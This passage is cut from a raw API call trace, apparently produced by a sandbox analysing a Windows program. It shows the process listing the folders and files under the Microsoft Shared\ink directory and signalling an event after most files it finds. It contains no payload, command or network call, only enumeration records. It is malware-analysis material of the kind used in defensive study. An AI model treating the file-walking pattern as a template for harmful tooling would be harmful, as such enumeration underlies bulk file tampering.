ftLastWriteTime.dwLowDateTime=0xe4dd0c3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.034] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.035] GetProcessHeap () returned 0x6a0000 [0167.035] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.035] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0167.035] GetProcessHeap () returned 0x6a0000 [0167.035] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.035] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0167.035] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.035] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.035] FindNextFileW (in: hFindFile=0x37225c8, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.035] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0167.036] GetProcessHeap () returned 0x6a0000 [0167.036] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.036] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0167.036] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0167.036] GetProcessHeap () returned 0x6a0000 [0167.036] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.036] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0167.820] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.823] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.823] SetEvent (hEvent=0x178) returned 1 [0167.824] ResetEvent (hEvent=0x17c) returned 1 [0167.826] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.827] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0167.827] GetProcessHeap () returned 0x6a0000 [0167.827] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.827] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0167.827] SetEvent (hEvent=0x178) returned 1 [0167.827] ResetEvent (hEvent=0x17c) returned 1 [0167.829] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0167.829] GetProcessHeap () returned 0x6a0000 [0167.829] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.829] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0167.829] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.830] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.830] SetEvent (hEvent=0x178) returned 1 [0167.830] ResetEvent (hEvent=0x17c) returned 1 [0167.832] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.832] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0167.832] GetProcessHeap () returned 0x6a0000 [0167.832] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.832] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0167.832] GetProcessHeap () returned 0x6a0000 [0167.832] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0167.833] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.833] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.833] SetEvent (hEvent=0x178) returned 1 [0167.833] ResetEvent (hEvent=0x17c) returned 1 [0167.835] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.835] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0167.835] GetProcessHeap () returned 0x6a0000 [0167.835] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.835] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0167.835] GetProcessHeap () returned 0x6a0000 [0167.835] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0167.836] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.836] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.836] SetEvent (hEvent=0x178) returned 1 [0167.836] ResetEvent (hEvent=0x17c) returned 1 [0167.838] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.838] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0167.838] GetProcessHeap () returned 0x6a0000 [0167.838] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.838] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0167.838] GetProcessHeap () returned 0x6a0000 [0167.838] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0167.838] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.838] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.839] SetEvent (hEvent=0x178) returned 1 [0167.839] ResetEvent (hEvent=0x17c) returned 1 [0167.840] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0167.841] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0167.841] GetProcessHeap () returned 0x6a0000 [0167.841] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0167.841] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0167.842] SetEvent (hEvent=0x178) returned 1 [0167.842] ResetEvent (hEvent=0x17c) returned 1 [0167.843] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0167.843] SetEvent (hEvent=0x178) returned 1 [0167.844] ResetEvent (hEvent=0x17c) returned 1 [0167.844] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0167.844] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0167.844] GetProcessHeap () returned 0x6a0000 [0167.844] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0167.844] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\th-TH\\*", lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0167.844] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.844] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0167.844] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2c3ec00 | out: lpFindFileData=0x2c3ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8f46414, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe91a79e4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe91a79e4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, 